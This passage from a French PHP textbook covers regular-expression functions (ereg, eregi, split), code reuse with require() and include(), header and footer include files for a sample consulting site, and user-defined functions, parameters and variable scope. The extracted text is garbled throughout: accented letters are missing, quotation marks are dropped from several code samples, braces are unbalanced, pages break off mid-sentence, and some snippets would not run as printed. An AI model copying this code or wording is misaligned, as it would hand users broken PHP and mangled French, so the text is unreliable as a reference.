quand mme un bon nombre. Notre expression peut tre encore affine de nombreuses
manires. Il est par exemple possible de lister tous les TLD valides. Soyez tout de
mme prudent avant dtre trop restrictif, car une fonction de validation qui rejette 1 %
de donnes valides procure plus dennuis quune autre qui accepte 10 % de donnes
non valides.
Maintenant que nous avons dfini la notion dexpression rgulire, nous allons passer
en revue les fonctions PHP qui permettent de les utiliser.
Chapitre 4
141
La fonction ereg() parcourt chane afin dy rechercher des occurrences de lexpression rgulire motif. Les sous-chanes ainsi dtectes sont enregistres dans le tableau
rsultat raison dune sous-expression par lment du tableau.
La fonction eregi() est identique la fonction ereg(), sauf quelle nest pas sensible
la casse.
Notre formulaire de courrier lectronique peut tre modifi en y introduisant des
expressions rgulires :
if (!eregi(^[a-zA-Z0-9_\-\.]+@[a-zA-Z0-9\-]+\.[a-zA-Z0-9\-\.]+$, $email))
{
echo "<p>Ceci nest pas une adresse email correcte.</p>" .
"<p>Revenez la page prcdente et ressayez.</p>";
exit;
}
$adresse_dest = "commentaires@exemple.com; // Adresse par dfaut
if (eregi(boutique|service client|ventes, $commentaire)) {
$adresse_dest = "ventes@exemple.com";
} else if (eregi(livraison|traitement, $commentaire))
$adresse_dest = traitements@exemple.com";
} else if (eregi(facture|compte, $commentaire))
$adresse_dest = "comptes@exemple.com";
}
if (eregi(grosclient\.com, $email))
$adresse_dest = "bob@exemple.com";
}
Cette fonction cherche dans chane les occurrences de lexpression rgulire motif et
les remplace par la chane remplacement.
142
Partie I
Utilisation de PHP
La fonction eregi replace() est identique la fonction ereg replace(), sauf quelle
nest pas sensible la casse.
Dcoupage de chanes au moyen dexpressions rgulires
La fonction split() est une autre fonction de traitement dexpression rgulire trs
utile. Son prototype est le suivant :
array split(string motif, string chane, int [max]);
Cette fonction dcoupe chane en sous-chanes au niveau des sous-chanes correspondant lexpression rgulire motif. Elle renvoie les sous-chanes obtenues sous la
forme dun tableau. Le paramtre entier max limite le nombre dlments qui peuvent
tre contenus dans le tableau.
Par exemple, la fonction split() pourrait tre mise en uvre pour dcomposer les
adresses e-mail, les noms de domaine ou les dates :
$adresse = "utilisateur@exemple.com";
$tab = split (\.|@, $adresse);
while (list($cle, $valeur) = each ($tab)) {
echo "<br />" . $valeur;
}
Ce code dcompose ladresse en ses cinq composantes et affiche chacune delles sur
une ligne spare :
utilisateur
@
exemple
.
com
INFO
En gnral, les fonctions des expressions rgulires sexcutent moins vite que les fonctions
quivalentes sur les chanes. Si votre traitement est suffisamment simple pour se contenter
dune fonction sur les chanes, nhsitez pas. Cela peut ne plus tre vrai si le traitement peut
tre ralis par une seule expression rgulire, mais par plusieurs fonctions sur les chanes.
Chapitre 4
143
La littrature et les ressources consacres aux expressions rgulires sont innombrables. Si vous utilisez Unix, vous pouvez commencer par la page man intitule regexp.
Vous trouverez galement des articles prcieux sur les sites devshed.com et phpbuilder.com.
Le site web de Zend propose une fonction de validation des courriers lectroniques plus
complexe et plus puissante que celle dveloppe dans le cadre de notre exemple. Cette
fonction sappelle MailVal() ; elle est disponible lURL http://www.zend.com/
codex.php?id=88&single=1.
Vous aurez besoin dun peu de pratique pour bien exploiter les expressions rgulires.
Plus vous vous exercerez dans le domaine et mieux vous saurez les manier.
Pour la suite
Nous tudierons au prochain chapitre plusieurs manires dutiliser PHP pour conomiser du temps et des efforts de programmation et empcher la redondance en rutilisant
du code prexistant.
5
Rutilisation de code
et criture de fonctions
Ce chapitre explique comment rutiliser du code pour dvelopper des applications plus
cohrentes, plus fiables et plus faciles grer, avec moins defforts. Nous examinerons
des techniques de modularisation et de rutilisation du code, en commenant par la
simple mise en uvre des fonctions require() et include() pour utiliser le mme
code dans plusieurs pages. Nous expliquerons pourquoi cette technique est meilleure
que les inclusions ct serveur. Lexemple donn expliquera comment utiliser des
fichiers include afin dobtenir une apparence cohrente sur tout un site web.
Nous montrerons galement comment crire et appeler ses propres fonctions en prenant
titre dexemple des fonctions gnrant des pages et des formulaires.
146
Partie I
Utilisation de PHP
Une des meilleures mthodes pour observer cette recommandation consiste rutiliser
du code dj existant au lieu dcrire une version lgrement diffrente dun morceau
de code existant pour accomplir une nouvelle tche. Une rduction du volume du code
se traduit directement par une rduction des cots. Sil existe sur le march un logiciel
rpondant aux objectifs dun nouveau projet, achetez-le. Le prix des logiciels existants
est presque toujours infrieur au cot de dveloppement dun projet quivalent. Si un
programme existant correspond "presque" vos besoins, vous devrez toutefois examiner soigneusement les modifications qui devront lui tre apportes, car modifier du
code existant peut tre plus difficile qucrire du nouveau code.
Fiabilit
Lorsquun module de code est utilis au sein dune entreprise, cest gnralement aprs
avoir fait lobjet de tests srieux. Mme si un composant logiciel ne requiert que quelques lignes de code, vous courez le risque, en le rcrivant, doublier un point pris en
compte par lauteur du composant existant ou de ngliger une correction apporte au
code dorigine aprs que les tests ont mis en vidence un dfaut. Le code mature, existant,
est gnralement plus fiable que le code encore "vert".
Cohrence
Les interfaces externes vers votre systme, y compris les interfaces utilisateur et les
interfaces vers des systmes externes, doivent tre cohrentes. Il faut de lopinitret et
des efforts dlibrs pour crire du nouveau code qui reste cohrent avec les autres
parties du systme. En revanche, si vous rutilisez du code dj en service dans une
autre partie du systme, vous avez toutes les chances pour que la fonctionnalit obtenue
soit automatiquement cohrente.
Un avantage essentiel de la rutilisation du code est quelle minimise la charge de
travail du dveloppeur, mais condition que le code dorigine soit modulaire et bien
crit. Lorsque vous programmez, faites en sorte didentifier les sections de votre code
susceptibles de servir ultrieurement dans dautres applications.
Chapitre 5
147
Ces deux instructions sont quasiment identiques. La seule diffrence est que require()
provoque une erreur fatale lorsquelle choue, alors que include() ne produit quun
message davertissement.
require once() et include once() sont des variantes de require() et include().
Leur but consiste sassurer quun fichier inclus ne le sera quune seule fois, ce qui
devient particulirement utile lorsque lon utilise require() et include() pour inclure
des bibliothques de fonctions. Lutilisation de ces deux variantes vous empche alors
dinclure accidentellement la mme bibliothque deux fois, ce qui provoquerait la
redfinition de ses fonctions et donc une erreur. Si vous tes suffisamment rigoureux,
vous avez tout intrt prfrer require() ou include() car elles sexcutent plus
rapidement.
Si vous chargez directement reutilisable.php dans votre navigateur web, vous ne serez
pas surpris de le voir afficher la phrase Ceci est une instruction PHP trs simple. En
revanche, le chargement de principal.php a un effet un peu plus inattendu. Le rsultat
obtenu est montr la Figure 5.1.
Figure 5.1
Le chargement du fichier
principal.php fait apparatre
le rsultat de linstruction
require().
Une instruction require() exige un fichier. Dans lexemple prcdent, nous avons
utilis le fichier appel reutilisable.php. lexcution du script, linstruction
require() :
require( reutilisable.php );
148
Partie I
Utilisation de PHP
est remplace par le contenu du fichier indiqu, puis le script contenu dans ce dernier
est alors excut. Lexcution qui sopre au chargement du fichier principal.php est
donc quivalente lexcution du script suivant :
<?
echo "Ceci est le fichier principal.<br />";
echo "Ceci est une instruction PHP trs simple.<br />";
echo "Fin du script.<br />";
?>
Pour bien utiliser linstruction require(), vous devez connatre la manire dont sont
traites les extensions des noms de fichier et les balises PHP.
PHP ignore lextension du nom du fichier qui est charg au moyen de la fonction
require(). Par consquent, vous pouvez donner ce fichier le nom qui vous convient
du moment que vous ne comptez pas lappeler directement. Lorsque le fichier est
charg par require(), celui-ci devient partie intgrante dun fichier PHP et est excut
en tant que tel.
Gnralement, des instructions PHP contenues dans un fichier appel, par exemple,
page.html ne seront pas traites. PHP ne traite normalement que les fichiers dont les
noms portent des extensions dfinies, comme .php (ce comportement peut tre modifi
dans le fichier de configuration de votre serveur web). Toutefois, si le fichier page.html
est charg via la fonction require(), toute instruction PHP contenue dans ce fichier
sera traite PHP. Par consquent, vous pouvez choisir nimporte quelle extension pour
les fichiers inclure via require(). Il est toutefois recommand de sen tenir une
convention logique pour le choix des noms de fichier (par exemple en adoptant systmatiquement lextension .inc ou .php pour tous les fichiers inclure).
Attention : lorsque des fichiers portant une extension non standard, telle que .inc, sont
stocks dans larborescence des documents du serveur, les utilisateurs qui les chargent
directement dans leur navigateur pourront visualiser leur contenu en texte clair, y
compris les mots de passe qui y sont ventuellement contenus ! Par consquent, il est
important de conserver ce type de fichier en dehors de larborescence des documents ou
bien alors demployer des extensions standard.
INFO
Dans lexemple considr plus haut, le fichier rutilisable reutilisable.php avait le contenu
suivant :
<?
echo "Ceci est une instruction PHP trs simple.<br />";
?>
Le code PHP de ce fichier est encadr par des balises PHP, ce qui est indispensable pour que
le code dun fichier charg via require() soit trait par linterprteur PHP. En labsence de
ces balises, le code sera considr comme du texte ou du code HTML et ne sera pas excut.
Chapitre 5
149
Figure 5.2
Lentreprise TLA utilise une prsentation homogne pour toutes les pages de son site web.
Considrez le scnario suivant : le site web est en service depuis un certain temps dj
et contient prsent des centaines, voire des milliers de pages, toutes construites sur le
mme style. Supposez quil soit dcid de procder une modification de lapparence
standard, mme mineure, comme lajout dune adresse de courrier lectronique en bas
de chaque page ou dune nouvelle entre dans le menu de navigation. Voulez-vous vous
trouver dans la situation de devoir modifier des centaines, voire des milliers de pages ?
La rutilisation des sections HTML communes toutes les pages est de loin prfrable
des oprations de couper/coller reproduire sur des centaines ou des milliers
de pages. Le code source de la page daccueil montre la Figure 5.2 est prsent dans
le Listing 5.1.
150
Partie I
Utilisation de PHP
Listing 5.1 : accueil.html Le code HTML de la page daccueil du site TLA Consulting
<html>
<head>
<title>TLA Consulting</title>
<style type="text/css">
h1 {color:white; font-size:24pt; text-align:center;
font-family:arial,sans-serif}
.menu {color:white; font-size:12pt; text-align:center;
font-family:arial,sans-serif; font-weight:bold}
td {background:black}
p {color:black; font-size:12pt; text-align:justify;
font-family:arial,sans-serif}
p.foot {color:white; font-size:9pt; text-align:center;
font-family:arial,sans-serif; font-weight:bold}
a:link,a:visited,a:active {color:white}
</style>
</head>
<body>
<!-- Entte de page -->
<table width="100%" cellpadding="12" cellspacing="0" border="0">
<tr bgcolor="black">
<td align="left"><img src="logo.gif" alt="Logo TLA" height="70"
width="70"></td>
<td>
<h1>TLA Consulting</h1>
</td>
<td align="right"><img src="logo.gif" alt="Logo TLA" height="70"
width="70"></td>
</tr>
</table>
<!-- Menu -->
<table width="100%" bgcolor="white" cellpadding="4" cellspacing="4">
<tr >
<td width="25%">
<img src="s-logo.gif" alt="" height="20" width="20">
<span class="menu">Accueil</span></td>
<td width="25%">
<img src="s-logo.gif" alt="" height="20" width="20">
<span class="menu">Contacts</span></td>
<td width="25%">
<img src="s-logo.gif" alt="" height="20" width="20">
<span class="menu">Services</span></td>
<td width="25%">
<img src="s-logo.gif" alt="" height="20" width="20">
<span class="menu">Carte du site</span></td>
</tr>
</table>
<!-- Contenu de la page -->
<p>Bienvenue sur le site de TLA Consulting.
Prenez le temps de nous connatre.</p>
<p>Nous sommes spcialiss dans laide aux dcisions et
nous esprons que vous ferez bientt appel nous.</p>
Chapitre 5
151
152
Partie I
Utilisation de PHP
souvent adopte pour ces types de fichiers, qui sont appels tre inclus dans dautres
fichiers. Nous ne recommandons pas cette convention comme une stratgie gnrale car
les fichiers .inc ne seront pas interprts comme du code PHP, sauf si le serveur a t
spcifiquement configur pour cela.
Par ailleurs, lusage consiste gnralement rassembler les fichiers inclus dans un
rpertoire visible des scripts, mais qui ne permette pas leur chargement individuel via le
serveur web, cest--dire lextrieur de larborescence des documents du serveur.
Cette pratique est fortement recommande. En effet, le chargement individuel de ces
fichiers peut provoquer des erreurs si lextension des fichiers est .php et que les fichiers
ne contiennent que des pages ou des scripts partiels, ou il peut permettre des tiers de
lire le code source lorsquune extension autre que .php est employe.
Le fichier entete.php contient les dfinitions CSS utilises par la page ainsi que les
tableaux qui affichent le nom de lentreprise et les barres de navigation. Son contenu est
donn dans le Listing 5.3.
Listing 5.3 : entete.php Len-tte rutilisable par toutes les pages du site web de TLA
Consulting
<html>
<head>
<title>TLA Consulting</title>
<style type="text/css">
h1 {color:white; font-size:24pt; text-align:center;
font-family:arial,sans-serif}
.menu {color:white; font-size:12pt; text-align:center;
font-family:arial,sans-serif; font-weight:bold}
td {background:black}
p {color:black; font-size:12pt; text-align:justify;
font-family:arial,sans-serif}
p.foot {color:white; font-size:9pt; text-align:center;
font-family:arial,sans-serif; font-weight:bold}
a:link,a:visited,a:active {color:white}
</style>
</head>
<body>
<!-- Entte de page -->
<table width="100%" cellpadding="12" cellspacing="0" border="0">
<tr bgcolor="black">
<td align="left"><img src="logo.gif" alt="Logo TLA" height="70"
width="70"></td>
<td>
<h1>TLA Consulting</h1>
</td>
<td align="right"><img src="logo.gif" alt="Logo TLA" height="70"
width="70"></td>
</tr>
</table>
<!-- Menu -->
Chapitre 5
153
Le fichier pied.php contient le tableau utilis pour afficher le pied de page en bas de
chaque page. Il est prsent dans le Listing 5.4.
Listing 5.4 : pied.php Le pied de page rutilisable par toutes les pages du site web
de TLA Consulting
<!-- Pied de page -->
<table width="100%" bgcolor="black" cellpadding="12" border="0">
<tr>
<td>
<p class="foot">© TLA Consulting</p>
<p class="foot">Consultez la page sur nos
<a href="legal.php">informations lgales</a></p>
</td>
</tr>
</table>
</body>
</html>
Une telle approche permet dobtenir facilement une prsentation et une apparence
homognes sur tout un site. Une nouvelle page conue dans le mme style peut ainsi
tre aisment gnre en quelques lignes de code :
<?php require(entete.php);?>
Mettre ici le contenu de cette page
<?php require(pied.php);?>
Plus important encore, mme lorsque de nombreuses pages ont ainsi t produites
partir des mmes fichiers den-tte et de pied de page, vous pouvez facilement modifier
ces fichiers modles. Que la modification apporte soit mineure ou quelle vise
donner une apparence compltement nouvelle au site, elle ne devra tre apporte
quune seule fois. Cette technique vite davoir traiter chaque page sparment.
154
Partie I
Utilisation de PHP
Dans lexemple considr ici, le corps, len-tte et le pied de page de chaque page ne
contiennent que du HTML pur. Des instructions PHP pourraient toutefois tre utilises
pour produire dynamiquement certaines parties des pages web du site.
Si vous souhaitez tre sr quun fichier sera trait comme du texte brut ou du HTML et
quaucun code PHP ne sera excut, vous pouvez utiliser readfile() la place de
require() car cette fonction affiche le contenu dun fichier sans lanalyser. Il peut
sagir dune mesure de prcaution importante si vous utilisez du texte fourni par lutilisateur.
Utilisation des options de configuration auto_prepend_file et
auto_append_file
Il existe une autre manire dutiliser linstruction require() ou include() pour ajouter
un en-tte et un pied de page chaque page. Le fichier de configuration php.ini contient
deux options de configuration, auto prepend file et auto append file, qui peuvent
tre initialises avec, respectivement, le nom de notre fichier den-tte et celui du pied
de page, de sorte que ces fichiers seront systmatiquement chargs au dbut et la fin
de chaque page. Les fichiers inclus par ces directives se comportent comme sils avaient
t ajouts en utilisant une instruction include() ; autrement dit, si le fichier est
manquant, cela produira un message davertissement.
Sur un systme Windows, le paramtrage de ces options seffectuerait de la manire
suivante :
auto_prepend_file = "c:/Program Files/Apache Group/Apache2//include/entete.php"
auto_append_file = "c:/Program Files/Apache Group/Apache2/include/pied.php"
Lorsque ces directives sont indiques dans le fichier php.ini, il nest plus ncessaire de
faire appel aux instructions include(). En revanche, les en-ttes et les pieds de page ne
sont plus facultatifs dans les pages web.
Avec un serveur web Apache, vous pouvez dfinir des options de configuration comme
celles dcrites prcdemment pour chaque rpertoire individuel. Pour cela, vous devez
configurer votre serveur de sorte que ses principaux fichiers de configuration soient
"crasables". Pour configurer PHP afin quil charge automatiquement des fichiers au
dbut et la fin de chaque page pour un rpertoire spcifique, crez dans ce rpertoire
un fichier appel .htaccess et placez-y les deux lignes suivantes :
php_value auto_prepend_file /home/utilisateur/include/entete.php
php_value auto_append_file /home/utilisateur/include/pied.php
Chapitre 5
155
Notez que la syntaxe diffre lgrement de celle utilise plus haut pour la mme option
dans le fichier php.ini ; outre la prsence de php value au dbut de la ligne, il ny a plus
de signe gal. Plusieurs autres paramtres de configuration de php.ini peuvent tre
modifis de la sorte.
La dfinition doptions dans le fichier .htaccess et non dans le fichier php.ini ou dans le
fichier de configuration du serveur web procure une grande souplesse. Vous pouvez
ainsi modifier le paramtrage sur une machine partage en naffectant que vos seuls
rpertoires. Il nest pas ncessaire de redmarrer le serveur web ni de bnficier dun
accs dadministrateur systme. Lapproche .htaccess a toutefois linconvnient que les
fichiers sont lus et analyss chaque fois quun fichier est sollicit dans le rpertoire
concern, au lieu dtre lus et analyss une seule fois au dmarrage. Elle a donc un cot
en terme de performances.
Cette ligne de code appelle la fonction nom fonction, qui ne prend pas de paramtre.
Elle ignore toute valeur ventuellement renvoye par la fonction.
Un certain nombre de fonctions sont appeles exactement de cette manire. Par exemple, cest le cas de la fonction phpinfo(), qui est trs utile lors des tests puisquelle affiche la version installe de PHP, les informations relatives PHP, la configuration du
serveur web et les valeurs des diverses variables de PHP et du serveur. Cette fonction ne
prend aucun paramtre et la valeur quelle renvoie est le plus souvent ignore.
156
Partie I
Utilisation de PHP
La plupart des fonctions requirent cependant un ou plusieurs paramtres qui fournissent les informations ncessaires laccomplissement de la tche et qui influencent le
rsultat de lexcution de la fonction. Les paramtres sont passs une fonction sous la
forme de donnes ou de noms de variables contenant ces donnes. Ils sont placs dans
une liste entre parenthses, la suite du nom de la fonction. Lappel dune fonction
prenant un seul paramtre seffectue donc de la faon suivante :
nom_fonction(paramtre);
Ici, le paramtre est une chane contenant seulement le mot paramtre. Les appels de
fonction qui suivent sont galement valides, selon la fonction appele :
nom_fonction (2);
nom_fonction (7.993);
nom_fonction ($variable);
Dans la dernire de ces trois lignes de code, $variable peut tre une variable PHP de
tout type, y compris un tableau ou un objet.
Les paramtres peuvent tre de nimporte quel type, mais certaines fonctions exigent
gnralement des types de donnes spcifiques.
Le prototype dune fonction dcrit le nombre de paramtres requis ainsi que la signification et le type de chacun deux. Cet ouvrage donne gnralement le prototype de
chaque fonction dcrite.
Le prototype de la fonction fopen(), par exemple, est le suivant :
resource fopen( string nomFichier, string mode,
[, bool utiliser_include_path [, resource contexte]] )
Le prototype dune fonction fournit de prcieuses indications sur la fonction, quil est
important de savoir interprter. Dans le prototype de la fonction fopen(), le terme
resource plac avant le nom de la fonction indique quelle renvoie une ressource
(un descripteur de fichier ouvert). Les paramtres de la fonction sont indiqus entre
parenthses. Comme le montre ce prototype, fopen() attend donc quatre paramtres. Les paramtres nomFichier et mode sont des chanes, tandis que le paramtre
utiliser include path est un boolen et que le paramtre contexte est une
ressource. La prsence de crochets de part et dautre des paramtres
utiliser include path et contexte indique que ces paramtres sont facultatifs : vous
pouvez leur fournir une valeur ou les ignorer, auquel cas PHP utilisera une valeur par
dfaut. Notez toutefois que, lorsquune fonction a plusieurs paramtres facultatifs, vous
ne pouvez ignorer que les paramtres placs droite. Lorsque vous appelez fopen(),
par exemple, vous pouvez ignorer simplement contexte ou utiliser include path et
Chapitre 5
157
contexte, mais vous ne pouvez pas ignorer utiliser include path tout en fournissant
contexte.
Daprs le prototype de fopen(), nous pouvons affirmer que lappel de cette fonction
est correct dans le fragment de code qui suit :
$nom = monfichier.txt;
$mode_ouverture = r;
$fp = fopen($nom, $mode_ouverture);
Ce code appelle la fonction fopen(). La valeur renvoye par cette dernire sera stocke
dans la variable $fp. On passe la variable $name comme premier paramtre de fopen().
Celle-ci contient une chane reprsentant le nom du fichier ouvrir. Le deuxime paramtre pass est une variable appele $mode ouverture, qui contient une chane reprsentant le mode douverture du fichier. Dans cet exemple, nous navons pas fourni les
troisime et quatrime paramtres facultatifs.
Appel dune fonction indfinie
Lappel dune fonction qui nexiste pas provoque la production dun message derreur
comme celui de la Figure 5.3.
Figure 5.3
Ce message derreur
rsulte de lappel
dune fonction qui
nexiste pas.
Les messages derreur affichs par linterprteur PHP sont gnralement trs utiles.
Celui de la Figure 5.3 nous indique exactement le contexte dans lequel sest produite
lerreur, cest--dire le nom du fichier, le numro de la ligne du script et le nom de la
fonction qui a t appele et qui nexiste pas. Ces indications permettent en principe de
corriger facilement et rapidement lerreur survenue.
laffichage dun tel message derreur, vous devez vous poser deux questions :
1. Le nom de la fonction est-il correctement orthographi dans le script ?
2. La fonction appele existe-t-elle dans la version de PHP utilise ?
Les noms des fonctions sont parfois difficiles mmoriser. Par exemple, certaines fonctions prdfinies de PHP ont des noms composs de deux mots spars par un caractre
de soulignement (comme strip tags()), tandis que dautres ont des noms forms de
deux mots accols (comme stripslashes()). La prsence dune faute dorthographe
dans le nom dune fonction provoque lerreur montre la Figure 5.3.
158
Partie I
Utilisation de PHP
Certaines fonctions dcrites dans cet ouvrage nexistent pas dans la version 4.0 de
PHP car nous partons du principe que vous tes au moins quip de la version 5.0.
Chaque nouvelle version de PHP apporte son lot de nouveauts qui enrichissent les
fonctionnalits et les performances du langage et justifient donc une mise jour.
Vous pouvez consulter dans le manuel en ligne de PHP (http://no.php.net/manual/
fr/) la date dajout de chaque fonction disponible. Lappel dune fonction non dclare dans la version de PHP utilise provoque lerreur dont le message est montr la
Figure 5.3.
Lune des autres raisons qui peuvent conduire ce message derreur peut tre que la
fonction que vous appelez fait partie dune extension de PHP qui nest pas charge. Par
exemple, si vous essayez dutiliser des fonctions de la bibliothque gd (manipulation
dimages) alors que vous ne lavez pas installe, vous obtiendrez ce message.
Casse et noms des fonctions
Les appels de fonctions ne sont pas sensibles la casse. Les appels de fonction nom(),
Fonction Nom() et FONCTION NOM sont donc tous valides et conduisent au mme rsultat. Vous tes libre de choisir la casse qui vous convient et que vous jugez plus facile
lire mais essayez de rester cohrent. Dans cet ouvrage, comme dans la plupart des
ouvrages de programmation, la convention adopte consiste crire tous les noms de
fonctions en minuscules.
Les noms de fonctions se comportent diffremment des noms de variables puisque ces
derniers sont, eux, sensibles la casse: $Nom et $nom dsignent donc deux variables
diffrentes, alors que Nom() et nom() dsignent la mme fonction.
Chapitre 5
159
Lorsque vous crivez un bloc de code pour effectuer une tche que vous serez vraisemblablement amen rutiliser plusieurs autres endroits dans votre script, voire dans
dautres scripts, vous avez tout intrt dclarer ce bloc de code comme une fonction.
Dclarer une fonction permet dutiliser du code personnalis la manire des fonctions
prdfinies de PHP : il suffit dappeler la fonction utilisateur et de lui fournir les paramtres requis. Vous pouvez ainsi appeler et rutiliser la mme fonction plusieurs fois
dans un mme script.
Cette dclaration de fonction commence par function pour que le lecteur et linterprteur PHP sachent que le code qui suit est celui dune fonction personnalise. Le nom de
la fonction tant ma fonction, nous pouvons appeler notre nouvelle fonction au moyen
de linstruction suivante :
ma_fonction();
Vous lavez probablement devin, lappel de cette fonction se traduit par laffichage
dans la fentre du navigateur du texte "ma fonction a t appele.".
Alors que les fonctions prdfinies dans PHP sont utilisables dans tous les scripts PHP,
les fonctions personnalises ne le sont que par les scripts dans lesquels elles ont t
dclares. Il est conseill de placer dans un mme fichier, ou dans un ensemble de
fichiers, toutes les fonctions personnalises couramment utilises. Cette astuce permet
en effet au programmeur daccder toutes ses fonctions par une simple instruction
require() insre dans chacun des scripts.
Dans une dclaration de fonction, le code accomplissant la tche requise doit tre plac
entre accolades. Ce code peut contenir tout ce qui est autoris dans un script PHP, y
compris des appels dautres fonctions, des dclarations de nouvelles variables ou fonctions, des instructions require() ou include(), des dclarations de classe et du code
HTML. Lorsque, au sein dune fonction, il est ncessaire de quitter PHP et dafficher
du code HTML brut, il suffit de procder comme en tout autre endroit dun script : en
plaant une balise PHP de fermeture avant le code HTML.
160
Partie I
Utilisation de PHP
Le code qui suit est une variante possible de lexemple prcdent et il produit le mme
rsultat :
<?php
function ma_fonction() {
?>
ma_fonction a t appele.
<?php
}
?>
Vous remarquerez que le code PHP est encadr par des balises PHP douverture/fermeture. Dans la plupart des fragments de code donns en exemple dans cet ouvrage, ces
balises ne sont pas montres. Nous les avons montres dans cet exemple car elles y sont
indispensables.
Attribution dun nom une fonction
Votre souci principal, lors du choix dun nom pour une fonction personnalise, devrait
tre dadopter un nom court mais explicite. Par exemple, pour une fonction crant un
en-tte de page web, les noms entete page() ou entetePage() seraient appropris.
Les quelques restrictions prendre en compte lors du choix des noms de fonctions sont
les suivantes :
m
Un nom de fonction ne peut contenir que des lettres, des chiffres et des blancs souligns.
De nombreux langages de programmation autorisent la rutilisation des noms de fonctions. On parle alors de "surcharge de fonction" (overloading). PHP interdit la
surcharge des fonctions, cest--dire quil ne permet pas de donner une fonction
personnalise le mme nom quune fonction prdfinie ou quune autre fonction
personnalise. Notez galement que, si chaque script PHP "connat" toutes les fonctions PHP prdfinies, les fonctions personnalises ne sont connues que dans les scripts
o elles sont dclares. Par consquent, rien ne vous empche de rutiliser le nom dune
de vos fonctions personnalises pour lattribuer une autre fonction contenue dans un
autre fichier. Cette pratique est toutefois source de confusion et devrait tre vite.
Les diffrents noms qui suivent sont tous corrects :
nom()
nom2()
nom_trois()
_nomquatre()
Chapitre 5
161
(Le dernier de ces noms aurait t autoris sil ntait pas dj attribu une fonction
prdfinie.)
Bien que $nom ne soit pas un nom correct pour une fonction, un appel de fonction comme :
$nom();
peut sexcuter correctement, selon la valeur de $nom. En effet, PHP prend la valeur
stocke dans $nom, recherche une fonction portant ce nom et essaie de lappeler pour
vous. Ces fonctions sont appeles des fonctions variables. Elles peuvent tre utiles
loccasion.
Paramtres
Pour accomplir la tche pour laquelle elles ont t conues, la plupart des fonctions
requirent que un ou plusieurs paramtres leur soient fournis. Un paramtre permet de
passer des donnes une fonction. Voici lexemple dune fonction qui prend un tableau
unidimensionnel comme paramtre et laffiche sous la forme dune table :
function crer_table($donnees) {
echo <table border ="1">;
reset($donnees); // Revient pointer sur le dbut des donnes
$valeur = current($donnees);
while ($value) {
echo "<tr><td>" . $valeur . "</td></tr>\n";
$valeur = next($donnees);
}
echo "</table>";
}
162
Partie I
Utilisation de PHP
Pour une prsentation plus are des donnes du tableau, nous pouvons appeler
creer table2() de la manire suivante :
creer_table2($mon_tableau, 3, 8, 8);
Lorsque des paramtres sont facultatifs, il nest pas indispensable de leur fournir des
valeurs. Linterprteur PHP assigne les paramtres de la gauche vers la droite.
Noubliez pas quil nest pas possible domettre un paramtre facultatif lors de lappel
dune fonction et de passer un autre paramtre facultatif plac sa droite dans la dfinition de la fonction. Dans lexemple prcdent, il faut passer une valeur pour le
paramtre remplissage pour pouvoir passer une valeur pour le paramtre espace
ment. Le non-respect de cette rgle est lorigine de nombreuses erreurs de programmation. Par ailleurs, cette rgle est la raison pour laquelle les paramtres facultatifs
doivent toujours apparatre en dernier dans la liste des paramtres.
Lappel de fonction suivant :
creer_table2($mon_tableau, 3);
Chapitre 5
163
est tout fait correct et cre une bordure large de 3 pixels ; les espacements entre les
cellules et lintrieur de celles-ci sont dfinis par leurs valeurs par dfaut.
Vous pouvez galement dclarer des fonctions qui acceptent un nombre variable de
paramtres. Le nombre de paramtres passs et leurs valeurs peuvent tre retrouvs
laide de trois fonctions auxiliaires : func num args(), func get arg() et
func get args().
tudiez par exemple la fonction suivante :
function params_variables() {
echo "Nombre de paramtres: ";
echo func_num_args();
echo "<br />";
$params = func_get_args();
foreach ($params as $param) {
echo $param . "<br />";
}
Cette fonction indique le nombre de paramtres qui lui sont passs et affiche chacun
deux. La fonction func num args() renvoie le nombre darguments passs et
func get args() renvoie un tableau des paramtres. Vous pouvez galement accder
un paramtre particulier en utilisant la fonction func get arg(), laquelle il faut
passer le numro du paramtre souhait (les paramtres sont numrots en commenant
zro).
Porte
Vous avez peut-tre not que, lorsque nous avons besoin dutiliser des variables dans un
fichier charg via une instruction require() ou include(), nous les dclarons simplement dans le script avant linstruction require() ou include(). En revanche, avec une
fonction, les variables requises au sein de la fonction doivent tre explicitement passes
la fonction sous forme de paramtres. Cette diffrence sexplique en partie par le fait
quil nexiste pas de mcanisme permettant de passer explicitement des variables des
fichiers inclus, et en partie parce que la porte dune variable est diffrente pour les
fonctions.
La porte dune variable dfinit les parties du code o cette variable est visible et utilisable. Chaque langage de programmation a ses propres rgles en la matire et celles de
PHP sont relativement simples :
m
164
Partie I
Utilisation de PHP
Les quelques exemples qui suivent vous aideront mieux saisir les implications de ces
rgles.
Lexcution du code ci-aprs ne produit aucun rsultat. Ici, on dclare une variable
appele $var sans une fonction appele fn(). Cette variable tant dclare dans une
fonction, sa porte est limite la fonction et elle nexiste donc quentre le point o elle
a t dclare et la fin de la fonction. Lorsque $var est utilise en dehors de la fonction
fn(), PHP cre une nouvelle variable appele $var. Cette nouvelle variable est de
porte globale et reste visible jusqu la fin du fichier. $var tant uniquement utilise
dans une instruction echo, elle ne recevra jamais de valeur.
function fn() {
$var = "contenu";
}
fn();
echo $var;
Voici la situation inverse, o une variable est dclare en dehors de la fonction fn() et
o nous tentons de lutiliser lintrieur de celle-ci.
function fn() {
echo Dans la fonction, $var = . $var . <br />;
$var = "contenu 2";
echo Dans la fonction, $var = . $var . <br />;
}
$var = "contenu 1";
fn();
echo En dehors de la fonction, $var = . $var . <br />;
Chapitre 5
165
Les fonctions ntant excutes que lorsquelles sont appeles, la premire instruction
excute dans ce code est $var = "contenu 1";. Une variable appele $var est alors
cre, dont la porte est globale et qui contient la chane "contenu 1". PHP excute
ensuite lappel la fonction fn() en excutant dans lordre les lignes qui constituent la
dclaration de la fonction. La premire de ces lignes fait rfrence une variable appele $var. Au moment de lexcution de cette ligne, linterprteur PHP ne peut pas voir
la variable $var dj cre et cre une nouvelle variable dont la porte se limite la
fonction fn(). Cest laffichage du contenu de cette nouvelle variable au moyen de
linstruction echo qui produit la premire ligne de la sortie.
La ligne qui vient ensuite dans la dclaration de la fonction donne $var le contenu
"contenu 2". Cette ligne de code appartenant la fonction, elle modifie la valeur de la
variable $var locale, pas celle de la variable globale. La deuxime ligne de la sortie met
en vidence ce fonctionnement.
Lorsque lexcution de la fonction sachve, la dernire ligne de notre script est excute.
Cette instruction echo finale montre que la valeur de la variable globale $var na pas t
affecte par lexcution de la fonction fn().
Pour quune variable cre au sein dune fonction soit de porte globale, nous devons
utiliser le mot-cl global, comme ici :
function fn() {
global $var;
$var = "contenu";
echo Dans la fonction, $var = . $var . <br />;
}
fn();
echo En dehors de la fonction, $var = . $var. <br />;
